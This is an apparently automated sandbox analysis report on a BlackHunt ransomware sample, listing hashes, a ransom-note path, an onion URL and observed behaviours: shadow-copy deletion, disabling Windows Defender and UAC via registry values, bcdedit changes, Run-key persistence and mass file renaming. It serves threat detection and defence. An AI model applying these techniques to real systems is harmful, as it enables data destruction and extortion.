Analysis
-
max time kernel
180s -
max time network
189s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 22:10
Static task
static1
Behavioral task
behavioral1
Sample
2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Resource
win10v2004-20231215-en
General
-
Target
2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
-
Size
707KB
-
MD5
7cece5e6516ac976ef358386b2f4ab34
-
SHA1
d718770dc85006ed44a91d1bf6019d6281d8b9eb
-
SHA256
2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9
-
SHA512
7aca57300ca41974f3b571a5f91501f5df0076ac2c53ed0ca69cb99d64b8ecf8d0e28f7322fd90bfb42e076ef68817d84aa820af098f38091308638892edbbc1
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza198Cvnh:6uaTmkZJ+naie5OTamgEoKxLWgMh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 4260 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 4468 bcdedit.exe 4204 bcdedit.exe -
Renames multiple (542) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 3712 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\Z: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\W: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\T: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\Y: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\S: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\J: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\E: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\O: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\P: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\N: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\R: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\I: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\G: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\K: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\V: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\M: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\X: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\B: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\A: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened (read-only) \??\L: 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 25 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\7-Zip\Lang\fr.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\7-Zip\Lang\si.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\MSBuild\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\7-Zip\Lang\th.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\management\management.properties 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\meta-index 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\javaws.jar 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\LICENSE 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\accessibility.properties 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\management\snmp.acl.template 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\policy\limited\local_policy.jar 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spc.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\7-Zip\Lang\tk.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\dotnet\host\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\7-Zip\Lang\it.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_it.properties 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiItalic.ttf 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\packager.jar 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\te\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\jawt.lib 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_Private.key 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\jcup.md 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.txt 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File created C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_ReadMe.hta 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\charsets.jar 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2512 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3152 vssadmin.exe 3288 vssadmin.exe 4560 vssadmin.exe 3480 vssadmin.exe 4188 vssadmin.exe -
Modifies registry class 12 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ cmd.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 cmd.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Token: SeRestorePrivilege 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Token: SeBackupPrivilege 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Token: SeTakeOwnershipPrivilege 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Token: SeAuditPrivilege 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Token: SeSecurityPrivilege 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Token: SeIncBasePriorityPrivilege 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Token: SeBackupPrivilege 4228 vssvc.exe Token: SeRestorePrivilege 4228 vssvc.exe Token: SeAuditPrivilege 4228 vssvc.exe Token: SeBackupPrivilege 1616 wbengine.exe Token: SeRestorePrivilege 1616 wbengine.exe Token: SeSecurityPrivilege 1616 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2784 wrote to memory of 1324 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 91 PID 2784 wrote to memory of 1324 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 91 PID 2784 wrote to memory of 5088 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 93 PID 2784 wrote to memory of 5088 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 93 PID 2784 wrote to memory of 4648 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 95 PID 2784 wrote to memory of 4648 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 95 PID 2784 wrote to memory of 4356 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 97 PID 2784 wrote to memory of 4356 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 97 PID 2784 wrote to memory of 4076 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 99 PID 2784 wrote to memory of 4076 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 99 PID 5088 wrote to memory of 4216 5088 cmd.exe 101 PID 5088 wrote to memory of 4216 5088 cmd.exe 101 PID 1324 wrote to memory of 3284 1324 cmd.exe 103 PID 1324 wrote to memory of 3284 1324 cmd.exe 103 PID 4356 wrote to memory of 988 4356 cmd.exe 106 PID 4356 wrote to memory of 988 4356 cmd.exe 106 PID 4076 wrote to memory of 4888 4076 cmd.exe 105 PID 4076 wrote to memory of 4888 4076 cmd.exe 105 PID 4648 wrote to memory of 4260 4648 cmd.exe 104 PID 4648 wrote to memory of 4260 4648 cmd.exe 104 PID 2784 wrote to memory of 1164 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 107 PID 2784 wrote to memory of 1164 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 107 PID 2784 wrote to memory of 3964 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 109 PID 2784 wrote to memory of 3964 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 109 PID 2784 wrote to memory of 2396 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 111 PID 2784 wrote to memory of 2396 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 111 PID 2784 wrote to memory of 3404 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 112 PID 2784 wrote to memory of 3404 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 112 PID 2784 wrote to memory of 1568 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 116 PID 2784 wrote to memory of 1568 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 116 PID 2784 wrote to memory of 3328 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 114 PID 2784 wrote to memory of 3328 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 114 PID 2784 wrote to memory of 4920 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 120 PID 2784 wrote to memory of 4920 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 120 PID 2784 wrote to memory of 4088 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 119 PID 2784 wrote to memory of 4088 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 119 PID 2784 wrote to memory of 4420 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 123 PID 2784 wrote to memory of 4420 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 123 PID 2784 wrote to memory of 4752 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 124 PID 2784 wrote to memory of 4752 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 124 PID 2784 wrote to memory of 5076 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 126 PID 2784 wrote to memory of 5076 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 126 PID 2784 wrote to memory of 2532 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 129 PID 2784 wrote to memory of 2532 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 129 PID 2784 wrote to memory of 868 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 131 PID 2784 wrote to memory of 868 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 131 PID 2784 wrote to memory of 4344 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 133 PID 2784 wrote to memory of 4344 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 133 PID 2784 wrote to memory of 3920 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 135 PID 2784 wrote to memory of 3920 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 135 PID 2784 wrote to memory of 4568 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 137 PID 2784 wrote to memory of 4568 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 137 PID 3964 wrote to memory of 232 3964 cmd.exe 142 PID 3964 wrote to memory of 232 3964 cmd.exe 142 PID 2784 wrote to memory of 4512 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 138 PID 2784 wrote to memory of 4512 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 138 PID 2784 wrote to memory of 2240 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 140 PID 2784 wrote to memory of 2240 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 140 PID 2784 wrote to memory of 1152 2784 